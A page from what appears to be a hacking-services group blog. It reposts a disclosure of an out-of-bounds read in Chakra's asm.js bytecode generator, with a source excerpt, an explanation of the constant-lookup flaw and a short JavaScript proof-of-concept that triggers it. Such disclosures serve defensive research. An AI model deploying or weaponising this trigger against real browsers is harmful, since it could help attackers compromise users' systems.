Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863538373

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
        AsmJsVar * initSource = nullptr;
        if (decl->sxVar.pnodeInit->nop == knopName)
        {
            AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
            if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
            {
                // in this case we are initializing with value of a constant var
                initSource = initSym->Cast<AsmJsVar>();
            }
            ...
        }
        ...
        if (initSource)
        {
            if (var->GetType().isDouble())
            {
                mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
            }

Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.

PoC:
*/

function createModule() {
    'use asm';
    const a = 1.0;
    function f() {
        var b = a;
        var a = 0;
    }

    return f;
}
var f = createModule();
f();